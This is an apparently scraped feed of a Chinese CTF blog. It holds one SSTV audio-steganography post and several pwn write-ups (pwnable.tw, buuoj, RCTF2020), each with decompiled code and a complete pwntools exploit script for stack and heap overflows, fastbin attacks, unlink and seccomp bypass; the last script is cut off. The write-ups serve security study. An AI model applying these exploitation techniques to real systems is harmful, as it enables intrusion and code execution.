KANGEL 2020-07-08T13:32:35.058Z https://j-kangel.github.io/ kangel Hexo 从一道Misc到学习百万混音 https://j-kangel.github.io/2020/07/09/从一道Misc到学习百万混音/ 2020-07-08T20:11:01.000Z 2020-07-08T13:32:35.058Z 前言

周末打了下STCF,有一道wav的misc,尝试了wav隐写的各种方法都失败了,今天看了下wp,学到了一种叫sstv(慢扫描电视)的东西。

sstv

慢扫描电视(Slow-scan television)是业余无线电爱好者的一种主要图片传输方法,慢扫描电视通过无线电传输和接收单色或彩色静态图片。

简单点说,就是图片在发送的时候调制成一种哔哔的声音,接收的时候再将这种声音解调成图片。因此需要用到sstv相关的软件

PC:MMSSTV

android: robot36(好像只能接收不能发送)

有了两台设备,我们就可进行图片传输了,例如:从PC传一张“神奈川冲浪里”到手机上

可以看到图片成功传送,但是会受周围环境的影响,因此有一定的失真。

SCTF2020 can you hear me

貌似有点扯远了,我们回到这道misc上来。题目文件是一段哔哔的音频,我们直接利用MMSSTV或者robot36进行接收,便可以得到flag

2018 QCTF Noise

好像有点简单,且上述内容与百万混音都没啥关系,但是当我在搜索类似题目的时候,发现了这道题。题目源文件是一段音乐,具体参考wp

这里有意思的是需要利用干涉消音提取出sstv的信号,这里就要用到AU进行消音,于是顺势学习了一波AU。

1、打开AU,新建多轨工程,导入源文件和从网易云下载的原曲《My Little Pony Theme Song》

可以看到两段音轨非常相似

2、将原曲进行反相

3、播放,robot36接收

结语

顺势学习了一波AU,刚好刚买的音箱也快到了,到时候可以借着连绵阴雨,抚琴一曲,再加上百万混音,岂不美哉!

]]>
<h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p>周末打了下STCF,有一道wav的misc,尝试了wav隐写的各种方法都失败了,今天看了下wp,学到了一种叫sstv(慢扫描电视)的东西。<
pwnable.tw Spirited Away https://j-kangel.github.io/2020/06/23/pwnable-tw-Spirited-Away/ 2020-06-22T23:26:33.000Z 2020-06-22T15:44:59.491Z 前言

这道题是栈溢出与堆溢出的结合,利用sprintf函数进行溢出。

程序分析

保护机制

1
2
3
4
5
6
7
➜  spirit-away checksec ./spirited_away
[*] '/mnt/hgfs/shared/tw/spirit-away/spirited_away'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

32位程序,只开启了NX

主要函数

survay函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
int survey()
{
char v1; // [esp+10h] [ebp-E8h]
size_t nbytes; // [esp+48h] [ebp-B0h]
size_t v3; // [esp+4Ch] [ebp-ACh]
char s; // [esp+50h] [ebp-A8h]
int v5; // [esp+A0h] [ebp-58h]
void *buf; // [esp+A4h] [ebp-54h]
int v7; // [esp+A8h] [ebp-50h]

nbytes = 0x3C;
v3 = 0x50;
LABEL_2:
memset(&s, 0, 0x50u);
buf = malloc(0x3Cu);
printf("\nPlease enter your name: ");
fflush(stdout);
read(0, buf, nbytes);
printf("Please enter your age: ");
fflush(stdout);
__isoc99_scanf("%d", &v5);
printf("Why did you came to see this movie? ");
fflush(stdout);
read(0, &v7, v3);
fflush(stdout);
printf("Please enter your comment: ");
fflush(stdout);
read(0, &s, nbytes);
++cnt;
printf("Name: %s\n", buf);
printf("Age: %d\n", v5);
printf("Reason: %s\n", &v7);
printf("Comment: %s\n\n", &s);
fflush(stdout);
sprintf(&v1, "%d comment so far. We will review them as soon as we can", cnt);
puts(&v1);
puts(&::s);
fflush(stdout);
if ( cnt > 199 )
{
puts("200 comments is enough!");
fflush(stdout);
exit(0);
}
while ( 1 )
{
printf("Would you like to leave another comment? <y/n>: ");
fflush(stdout);
read(0, &choice, 3u);
if ( choice == 'Y' || choice == 'y' )
{
free(buf);
goto LABEL_2;
}
if ( choice == 'N' || choice == 'n' )
break;
puts("Wrong choice.");
fflush(stdout);
}
puts("Bye!");
return fflush(stdout);
}

可以发现实现的是一个留言板的功能,该程序存在两个漏洞:

  1. 利用read函数可以泄露出栈中的地址,其中包括libc和栈地址
  2. sprintf函数存在单字节溢出
1
2
3
4
5
当cnt为三位数,例如100时
>>> len("100 comment so far. We will review them as soon as we can")
57

这时最后一个字节n会覆盖掉nbytes,这时nbyte==0x6e,在read buf和&s时都会产生溢出

解题思路

  1. 泄露libc和栈地址,并计算出system和“/bin/sh”的地址
  2. 在栈上布置好fake_chunk,利用&s的溢出覆盖buf的值为fake_chunk地址并进行free
  3. 利用buf(现在为栈地址)的溢出覆盖掉返回值

完整脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *

context.terminal = ['tmux','split','-h']
context.log_level = 'debug'

p = process("./spirited_away")
# p = remote("chall.pwnable.tw", 10204)
elf = ELF("./spirited_away")
libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")
# libc = ELF("./libc_32.so.6")

s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)
r = lambda : p.recv()
ru = lambda x: p.recvuntil(x)
rl = lambda : p.recvline()

def gd():
gdb.attach(p,'b *0x0804a084')

def leave(name,reason,comment):
sa('Please enter your name: ', name)
sa('Please enter your age: ', '1\n')
sa('Why did you came to see this movie? ', reason)
sa('Please enter your comment: ', comment)

def andone():
sa('Would you like to leave another comment? <y/n>: ', 'y')

#overflow to nbytes
for i in range(10):
leave('kangel\0','a\0','b\0')
andone()

for i in range(90):
sa('Please enter your age: ', '1\n')
sa('Why did you came to see this movie? ', 'c\x00')
sa('Would you like to leave another comment? <y/n>: ', 'y')

#leak libc
leave('kangel\0','a'*0x14+'bbbb','123')
ru("bbbb")
libc_base = u32(p.recv(4)) - 7 - libc.sym['_IO_file_sync']
print hex(libc_base)
system_addr = libc_base + libc.sym['system']
bin_sh = libc_base + libc.search("/bin/sh").next()
andone()

#leak stack
leave('kangel\0','a'*0x34+'bbbb','123')
ru("bbbb")
stack = u32(p.recv(4)) - 0x70
print hex(stack)
andone()

#fake_chunk
reason = p32(0) + p32(0x41) + 'a'*0x38 + p32(0) + p32(0x11)
comment = 'a'*0x54 + p32(stack+8)
leave('kangel\0',reason,comment)
andone()

#heap overflow
name = 'a'*0x4c + p32(system_addr) + p32(0xdeadbeef) + p32(bin_sh)
leave(name,'a\0','b\0')
# gd()
sa('Would you like to leave another comment? <y/n>: ', 'n')
p.interactive()
]]>
<h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p>这道题是栈溢出与堆溢出的结合,利用sprintf函数进行溢出。</p> <h3 id="程序分析"><a href="#程序分析" clas
pwnable.tw babystack https://j-kangel.github.io/2020/06/22/pwnable-tw-babystack/ 2020-06-22T09:27:11.000Z 2020-06-22T02:06:10.076Z 前言

这是一道组合溢出的题目,与常见的栈溢出不同,故记录一下。

程序分析

保护机制

1
2
3
4
5
6
7
8
➜  babystack checksec ./babystack
[*] '/mnt/hgfs/shared/tw/babystack/babystack'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

保护全开,既然是栈溢出,那么泄露canary是必不可少的。

主要函数

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
_QWORD *v3; // rcx
__int64 v4; // rdx
char v6; // [rsp+0h] [rbp-60h]
__int64 buf; // [rsp+40h] [rbp-20h]
__int64 v8; // [rsp+48h] [rbp-18h]
char v9; // [rsp+50h] [rbp-10h]

sub_D30();
dword_202018[0] = open("/dev/urandom", 0);
read(dword_202018[0], &buf, 0x10uLL);
v3 = qword_202020;
v4 = v8;
*(_QWORD *)qword_202020 = buf;
v3[1] = v4;
close(dword_202018[0]);
while ( 1 )
{
write(1, ">> ", 3uLL);
_read_chk(0LL, (__int64)&v9, 16LL, 16LL);
if ( v9 == '2' )
break;
if ( v9 == '3' )
{
if ( is_login )
copy(&v6);
else
puts("Invalid choice");
}
else if ( v9 == '1' )
{
if ( is_login )
is_login = 0;
else
login((const char *)&buf);
}
else
{
puts("Invalid choice");
}
}
if ( !is_login )
exit(0);
if ( memcmp(&buf, qword_202020, 0x10uLL) )
JUMPOUT(loc_100B);
return 0LL;
}

首先读取16字节的随机数到栈上,并赋值给bss段上qword_202020。接着进入while循环,函数结束时会判断buf和qword_202020的值。可以发现这里的canary保护和常规的有点不同,因此需要泄露buf的值。

下面进入循环:

login函数

1
2
3
4
5
6
7
8
9
10
11
12
13
int __fastcall login(const char *a1)
{
size_t v1; // rax
char s; // [rsp+10h] [rbp-80h]

printf("Your passowrd :");
sub_CA0((unsigned __int8 *)&s, 0x7Fu);
v1 = strlen(&s);
if ( strncmp(&s, a1, v1) )
return puts("Failed !");
is_login = 1;
return puts("Login Success !");
}

当is_login==0时会进入login函数,这里首先读取数据到栈上,然后和buf的值进行strncmp判断。这里有两种绕过方法:

1、利用‘\x00’进行截断,因为strlen碰上’\x00’ 和’\x0a’会产生阶段,因此可以直接绕过strncmp的判断

1
login('\x00'+'a'*0x57)

2、逐字节进行爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def bf(length,s1 = ''):
while(1):
for i in range(1,256):
if i == 10:
continue
s2 = s1 + chr(i)
login(s2+'\x00')
if "Success" in p.recv():
s1 = s2
print "[+]found!"
logout()
sleep(1)
break
if len(s2) == length:
break
return s1

copy函数

1
2
3
4
5
6
7
8
9
int __fastcall copy(char *a1)
{
char src; // [rsp+10h] [rbp-80h]

printf("Copy :");
sub_CA0((unsigned __int8 *)&src, 0x3Fu);
strcpy(a1, &src);
return puts("It is magic copy !");
}

当is_login==1时,该函数会将当前栈上读入的数据strcpy到main函数的栈上。

这里的漏洞点在于copy函数和login函数的栈空间相同,而login函数可以读入0x7f个字节,这在copy到main函数栈上时将会产生溢出。

解题思路

1、利用strncmp爆破出canary的值

2、利用copy函数布置好栈空间,利用strncmpbaopo出libc的地址

3、因为strcpy会有’\x00’阶段,因此无法使用ROP,需要计算出one_gadget一发入魂

4、利用copy函数进行溢出并将返回地址覆盖成one_gadget

完整脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *

# context.terminal = ['tmux','split','-h']
context.log_level = 'debug'
# p = process("./babystack")
p = remote("chall.pwnable.tw",10205)
# libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
libc = ELF("libc_64.so.6")
se = lambda x: p.send(x)
s = lambda x,y: p.sendafter(x,y)

def login(passwd):
se("1")
s("passowrd :",passwd)

def logout():
s(">>","1")
def copy(cnt):
s(">>","3")
s("Copy :",cnt)

def gd():
gdb.attach(p)

def bf(length,s1 = ''):
while(1):
for i in range(1,256):
if i == 10:
continue
s2 = s1 + chr(i)
login(s2+'\x00')
if "Success" in p.recv():
s1 = s2
print "[+]found!"
logout()
sleep(1)
break
if len(s2) == length:
break
return s1

def leak(length,s1 = ''):
while(1):
for i in range(1,256):
if i == 10:
continue
s2 = s1 + chr(i)
login('a'*0x10+'1'+'a'*0x7+s2+'\x00')
if "Success" in p.recv():
s1 = s2
print "[+]found!"
logout()
sleep(1)
break
if len(s2) == length:
break
return s1

magic = bf(16)
login('\x00'+'a'*0x57)
copy("b"*0x20)
logout()
base = leak(6)
libc_base = u64(base.ljust(8,'\x00')) - 0x6ffb4
one = 0xf0567 + libc_base
print hex(libc_base)
login('\x00'+'c'*0x3f+magic+'a'*0x18+p64(one))
copy("b"*0x20)
se("2")
#find /home -name flag | xargs cat

p.interactive()

结果如下

]]>
<h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p>这是一道组合溢出的题目,与常见的栈溢出不同,故记录一下。</p> <h3 id="程序分析"><a href="#程序分析" class="
buuoj刷题记录之堆 https://j-kangel.github.io/2020/06/09/buuoj刷题记录之堆/ 2020-06-09T14:42:47.000Z 2020-06-09T07:51:54.518Z roarctf 2019 easyheap

这道题涉及的利用的技巧主要是house of spirit和文件描述符重定向

house of spirit

hos利用场景是可写区域-不可写区域-可写区域,这时可以利用堆中的漏洞进行hos而使中间的不可写区域变得可写。方法是通过伪造堆块使其加入bins中

文件描述符重定向

题目在后半部分关闭stdout和stderr,具体参考Linux反弹shell(一)文件描述符与重定向

题解

除了PIE,其他保护全开。功能如下:

  1. add:可以malloc申请不超过0x80的堆块
  2. dele:free之后未清零,可以造成double free
  3. show:需要中间不可写区域为特定值,使用后关闭stdout和stderr
  4. secret:当功能号为666时,可以使用。可以calloc(0xA0)和free,也是没有清零。可以多次使用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
unsigned __int64 secret()
{
int v0; // eax
__int64 v2; // [rsp+0h] [rbp-18h]
unsigned __int64 v3; // [rsp+8h] [rbp-10h]

v3 = __readfsqword(0x28u);
if ( !qword_602010 )
{
puts("everything has a price");
goto LABEL_7; //仍然减少
}
puts("build or free?");
if ( (signed int)read(0, &v2, 8uLL) < 0 )
{
LABEL_10:
puts("read error");
exit(0);
}
v0 = strtol((const char *)&v2, 0LL, 10);
if ( v0 == 1 )
{
ptr = calloc(0xA0uLL, 1uLL);
puts("please input your content");
if ( (signed int)read(0, ptr, 0xA0uLL) >= 0 )
goto LABEL_7;
goto LABEL_10;
}
if ( v0 == 2 )
free(ptr);
else
puts("invaild choice");
LABEL_7:
--qword_602010; //当减至小于0时仍可使用
return __readfsqword(0x28u) ^ v3;
}

首先是输入name和info,即两处可写区域

1
2
3
4
5
.bss:0000000000602060 unk_602060     #name,大小0x20
.bss:0000000000602088 buf
.bss:0000000000602090 qword_602090 #需要为0xdeadbeefdeadbeef才能show
.bss:0000000000602098 ; void *ptr
.bss:00000000006020A0 unk_6020A0 #info,大小0x20

思路如下:

在name和info处伪造好堆块

1
2
3
pay = p64(0) + p64(0x51)
sl("name:",pay)
sl("info",p64(0)*3+p64(0x51))

利用double free造成fastbin attack将bss加入fastbinzhong

1
2
3
4
5
6
7
8
9
10
11
12
13
secret(1)
add(0x40,'aaa')
secret(2)
add(0x40,'aaa')
add(0x50,'aaa')
add(0x40,'aaa')
dele()
secret(2)
dele()
add(0x40,p64(0x602060))
add(0x40,'aaa')
add(0x40,'aaa')
add(0x40,p64(0)*3+p64(elf.got['exit'])+p64(0xdeadbeefdeadbeef))

泄露libc,因为got表不可写,因此需要再次利用fastbin attack劫持malloc

1
2
3
4
5
6
7
8
dele2()
p.sendline("666")
p.sendline("2")
dele2()
add2(0x68,p64(malloc_hook-0x23))
add2(0x68,'bbb')
add2(0x68,'bbb')
add2(0x68,'\x00'*3+p64(0)+p64(one)+p64(realloc+0x14))

完整exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import *

context.terminal = ['tmux','split','-h']
# context.log_level = 'debug'

p = process("./roarctf_2019_easyheap")
# p = remote("node3.buuoj.cn",28917)
elf = ELF("./roarctf_2019_easyheap")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

sl = lambda x,y: p.sendlineafter(x,y)
s = lambda x,y: p.sendafter(x,y)

def add(size,cnt):
sl(">> ","1")
sl("size",str(size))
s("content",cnt)

def add2(size,cnt):
p.sendline("1")
p.sendline(str(size))
p.sendline(cnt)

def dele():
sl(">> ","2")

def dele2():
p.sendline("2")

def show():
sl(">> ","3")

def secret(i):
sl(">> ","666")
sl("?",str(i))
if i==1:
sl("content","kangel")

def gd():
gdb.attach(p)

pay = p64(0) + p64(0x51)
sl("name:",pay)
sl("info",p64(0)*3+p64(0x51))
# add(0x40,'aaa')
secret(1)
add(0x40,'aaa')
secret(2)
add(0x40,'aaa')
add(0x50,'aaa')
add(0x40,'aaa')
dele()
secret(2)
dele()
add(0x40,p64(0x602060))
add(0x40,'aaa')
add(0x40,'aaa')
add(0x40,p64(0)*3+p64(elf.got['exit'])+p64(0xdeadbeefdeadbeef))
show()
libc_base = u64(p.recv(6).ljust(8,'\x00')) - libc.sym['exit']
malloc_hook = libc.sym['__malloc_hook'] + libc_base
realloc = libc.sym['realloc'] + libc_base
one = libc_base +0xf1147# 0x4526a

print hex(libc_base)
p.sendline("666")
p.sendline("666")
p.sendline("1")
p.sendline("aaa")
add2(0x68,'bbb')
p.sendline("666")
p.sendline("2")
add2(0x68,'bbb')
add2(0x68,'bbb')
dele2()
p.sendline("666")
p.sendline("2")
dele2()
add2(0x68,p64(malloc_hook-0x23))
add2(0x68,'bbb')
add2(0x68,'bbb')
add2(0x68,'\x00'*3+p64(0)+p64(one)+p64(realloc+0x14))
# gd()
add2(0x68,'exec 1>&0') #将stdout重定向到stdin,即终端
p.interactive()

0CTF 2017 babyheap

edit处存在堆溢出,因此可以overlapping打fastbin attack。add使用的是calloc,可以改写ismmap标志位从而泄露libc

mmap的calloc分配不会memset

具体方法如下:

  1. 申请largebin大小(0x500)的堆块并free,这时进入unsorted bin。
  2. 利用堆溢出是ismmap = 1
  3. 申请更大(0x600)的堆块,unsorted bin中的堆块进入largebin
  4. 重新calloc申请(0x500),不会memset
1
2
3
4
5
6
7
add(0x500)#5
add(0x68)#6
delete(5)
add(0x600)#5
edit(3,0x70,0x68*'b'+p64(0x513))
add(0x500)#7
show(7)

之后是常规的overlapping打fastbin attack,然后劫持malloc_hook。

完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *

context.log_level = 'debug'
context.terminal = ['tmux','split','-h']

p = process("./0ctf_2017_babyheap")
# p = remote("node3.buuoj.cn",29087)
elf = ELF("./0ctf_2017_babyheap")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

sl = lambda x,y: p.sendlineafter(x,y)
s = lambda x,y: p.sendafter(x,y)

def add(size):
sl("Command:","1")
sl("Size:",str(size))

def edit(idx,size,cnt):
sl("Command:","2")
sl("Index:",str(idx))
sl("Size:",str(size))
s("Content:",cnt)

def delete(idx):
sl("Command:","3")
sl("Index:",str(idx))

def show(idx):
sl("Command:","4")
sl("Index:",str(idx))

def gd():
gdb.attach(p)

add(0x68)#0
add(0x68)#1
add(0x68)#2
add(0x68)#3
edit(0,0x70,'a'*0x68+p64(0xe1))
delete(1)
add(0x68)#1
add(0x68)#4
edit(4,3,"123")
add(0x500)#5
add(0x68)#6
delete(5)
add(0x600)#5
edit(3,0x70,0x68*'b'+p64(0x513))
add(0x500)#7
show(7)
p.recvuntil("Content: \n")
libc_base = u64(p.recv(6).ljust(8,'\x00')) - 0x3c4fa8
print hex(libc_base)
malloc_hook = libc.sym['__malloc_hook'] + libc_base
realloc = libc.sym['realloc'] + libc_base
one = libc_base +0xf1147# 0x4526a

delete(2)
delete(0)
delete(4)
add(0x68)#0
add(0x68)#2
edit(0,8,p64(malloc_hook-0x23))
add(0x68)#4
add(0x68)#8
edit(8,0x1b,'\x00'*3+p64(0)+p64(one)+p64(realloc+4))
add(0x10)
p.interactive()

axb 2019 heap

格式化字符串泄露程序基址和libc基址,off by one打unlink

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *

context.log_level = 'debug'
context.terminal = ['tmux','split','-h']

# p = process("./axb_2019_heap")
p = remote("node3.buuoj.cn",25965)
elf = ELF("./axb_2019_heap")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

s = lambda x,y: p.sendafter(x,y)
sl = lambda x,y: p.sendlineafter(x,y)

def add(idx,size,content):
sl(">> ","1")
sl("10):",str(idx))
sl("size:",str(size))
sl("content:",content)

def delete(idx):
sl(">> ","2")
sl("index:",str(idx))

def edit(idx,content):
sl(">> ","4")
sl("index:",str(idx))
sl("content:",content)

def gd():
gdb.attach(p)

sl("name:","%14$p%15$p")
p.recvuntil("0x")
elf_base = int(p.recv(12),16) - 0x1200
p.recvuntil("0x")
libc_base = int(p.recv(12),16) - 0x20830
log.success("elf_base:"+hex(elf_base))
log.success("libc_base:"+hex(libc_base))

add(0,0x98,'a'*0x98)
add(1,0x98,'a'*0x98)
add(2,0x90,'/bin/sh\x00')
payload = p64(0)+p64(0x91)+p64(elf_base+0x202048)+p64(elf_base+0x202050)+p64(0)*14+p64(0x90)+p8(0xa0)
edit(0,payload)
delete(1)
payload = p64(0)*3 + p64(libc_base+libc.sym['__free_hook'])+p64(0x90)
edit(0,payload)
edit(0,p64(libc_base+libc.sym['system']))
delete(2)
p.interactive()
]]>
<h3 id="roarctf-2019-easyheap"><a href="#roarctf-2019-easyheap" class="headerlink" title="roarctf 2019 easyheap"></a>roarctf 2019 easyheap</
RCTF2020 部分pwn https://j-kangel.github.io/2020/06/06/RCTF2020-pwn/ 2020-06-05T18:20:17.000Z 2020-06-06T11:39:50.300Z 前言

比赛没时间打,赛后复现几道题目玩玩。

no_write

这道题禁用了write,需要用到栈迁移配合__libc_start_mian来获取syscall以及gadget的多次利用

程序分析

checksec,No PIE、No canary

1
2
3
4
5
6
[*] '/mnt/hgfs/shared/RCTF/pwn/no_write_attachment/no_write'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

查看程序

1
2
3
4
5
6
7
8
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [rsp+0h] [rbp-10h]

init(*(_QWORD *)&argc, argv, envp);
read_n(&v4, 256);
return 0;
}

经典的栈溢出,但是根据题目似乎是禁用了一些函数

seccomp查看沙箱机制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
➜  no_write_attachment seccomp-tools dump ./no_write
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x06 0x00 0x40000000 if (A >= 0x40000000) goto 0010
0004: 0x15 0x04 0x00 0x00000002 if (A == open) goto 0009
0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009
0006: 0x15 0x02 0x00 0x0000003c if (A == exit) goto 0009
0007: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0009
0008: 0x06 0x00 0x00 0x00000000 return KILL
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00000000 return KILL

发现只能使用open、read、exit

此时可以想到,将flag读到bss段上,然后逐个字节爆破。那么问题来了,程序中只有read函数,没有open函数。因此可以进行系统调用,但是程序中不存在syscall,这是就需要得到syscall的地址。

我们发现在调用__libc_start_main时会在栈上留下syscall附近的地址,因此首先可以通过栈迁移将栈迁移到已知地址,例如bss段。这里可以利用pop rbp;leave ret进行栈迁移

1
2
3
4
5
6
7
read_got = elf.got['read']
bss = 0x601078
leave_ret = 0x40070b
pop_rbp = 0x400588
##stack pivot to bss
pay = 'a'*0x18 + csu(read_got,0,bss,0x580)
pay += p64(pop_rbp) + p64(bss+0x4f8) + p64(leave_ret)

结果如下:

接下需要调用__libc_start_main函数,需要说明的是:

此时__libc_start_main函数的返回值为第一个参数

1
2
3
4
5
6
7
8
##__libc_start_main
pop_rdi = 0x400773
pop_rsp = 0x40076d
syscall = 0x6014d8
pay = 'flag'
pay += '\x00'*(0x500-len(pay))
pay += csu(elf.got['__libc_start_main'],pop_rdi,0,bss+0x20)#p64(0x400544)
pay += '\x00'*(0x580-len(pay))

结果如下:

接下来的思路如下:

  1. 将0x6014d8的最低字节改为’\x7f’,使之成为syscall地址
  2. 利用read的返回值改写rax的值为2,即open函数的系统调用号
  3. 将flag写入bss

然后是爆破flag,可以利用__libc_csu_init中的gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
.text:0000000000400750 loc_400750:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400750 mov rdx, r15
.text:0000000000400753 mov rsi, r14
.text:0000000000400756 mov edi, r13d
.text:0000000000400759 call qword ptr [r12+rbx*8]
.text:000000000040075D add rbx, 1
.text:0000000000400761 cmp rbp, rbx
.text:0000000000400764 jnz short loc_400750
.text:0000000000400766
.text:0000000000400766 loc_400766: ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400766 add rsp, 8
.text:000000000040076A pop rbx
.text:000000000040076B pop rbp
.text:000000000040076C pop r12
.text:000000000040076E pop r13
.text:0000000000400770 pop r14
.text:0000000000400772 pop r15
.text:0000000000400774 retn

具体思路如下:

  1. 使rbp得值为flag单字节
  2. 使rbx为猜测值进行爆破
  3. 利用0x40075d处gadget进行比较

完整exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *

context.terminal = ['tmux','split','-h']

def csu(r12,r13,r14,r15):
pay = p64(0x40076a)
pay += p64(0) #rbx
pay += p64(1) #rbp
pay += p64(r12) #call_func
pay += p64(r13) #edi
pay += p64(r14) #rsi
pay += p64(r15) #rdx
pay += p64(0x400750)
pay += '\x00'*0x38
return pay
flag = ''
for j in range(6):
i = 47
while(1):
p = process("./no_write")
elf = ELF("./no_write")
read_got = elf.got['read']
bss = 0x601078
leave_ret = 0x40070b
pop_rbp = 0x400588
##stack pivot to bss
pay = 'a'*0x18 + csu(read_got,0,bss,0x580)
pay += p64(pop_rbp) + p64(bss+0x4f8) + p64(leave_ret)
p.send(pay)
##__libc_start_main
pop_rdi = 0x400773
pop_rsp = 0x40076d
syscall = 0x6014d8
pay = 'flag'
pay += '\x00'*(0x38-len(pay))
pay += csu(read_got,0,syscall,0x1)
pay += csu(read_got,0,bss+0x580,0x2)
pay += csu(syscall,bss,0,0)
flag_addr = 0x601318
pay += csu(read_got,3,bss+0x580,j)
pay += csu(read_got,3,flag_addr,0x1)
pay += p64(0x40076a) + p64(i) + p64(0)*5
pay += p64(0x40075d) + p64(0)*7
pay += csu(read_got,0,bss+0x580,0x10)*2
pay += '\x00'*(0x480-len(pay))
pay += p64(pop_rsp)+p64(0)*0xf + csu(elf.got['__libc_start_main'],pop_rdi,0,bss+0x20)
pay += '\x00'*(0x580-len(pay))
# gdb.attach(p)
p.send(pay)
sleep(0.5)
p.send('\x7f')
sleep(0.5)
p.send('az')
try:
sleep(0.5)
p.send('a'*0x10)
p.recv(1,timeout=0.5)
flag += chr(i+1)
p.close()
break
except:
i += 1
try:
p.close()
except:
pass
print(i)
print(flag)
if i == 53:
break

总结

这道题得难点在于栈帧的控制,需要不断地调试。

note

这道题存在多处漏洞,负数索引、乘法溢出、堆溢出、off by null。这里利用较为简单的负数索引以及乘法溢出来get shell

程序分析

64位程序,保护全开。

1
2
3
4
5
6
7
.data:0000000000004008 off_4008        dq offset off_4008      ; DATA XREF: sub_1260+1B↑r
.data:0000000000004008 ; .data:off_4008↓o
.data:0000000000004010 qword_4010 dq 996h ; DATA XREF: add+C↑r
.data:0000000000004010 ; add+AC↑r ...
.data:0000000000004018 dword_4018 dd 1 ; DATA XREF: sub_18D1+18↑r
.data:0000000000004018 ; sub_18D1+27↑r ...
.data:0000000000004018 _data ends

程序的所有索引都没有检查负数边界,因此可以直接溢出到0x4008处,索引为-5

隐藏功能6会调用malloc,且大小为0x50,add函数则使用calloc

隐藏功能7有32字节溢出

具体思路如下:

  1. show(-5)泄露libc地址,计算出__free_hook和one_gadget
  2. 利用隐藏功能7修改tcache
  3. 利用隐藏功能6将__free_hook改为one_gadget

完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *

context.log_level = 'debug'
context.terminal = ['tmux','split','-h']

p = process("./note")
elf = ELF("./note")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.30.so")
s = lambda x,y: p.sendafter(x,y)
sl = lambda x,y: p.sendlineafter(x,y)

def add(idx,size):
sl("Choice:","1")
sl("Index:",str(idx))
sl("Size:",str(size))

def delete(idx):
sl("Choice","2")
sl("Index:",str(idx))

def show(idx):
sl("Choice:","3")
sl("Index:",str(idx))

def edit(idx,msg):
sl("Choice:","4")
sl("Index:",str(idx))
sl("Message:",msg)

def super_buy(name):
sl("Choice:","6")
sl("name:",name)

def edit_more(idx,msg):
sl("Choice:","7")
sl("Index:",str(idx))
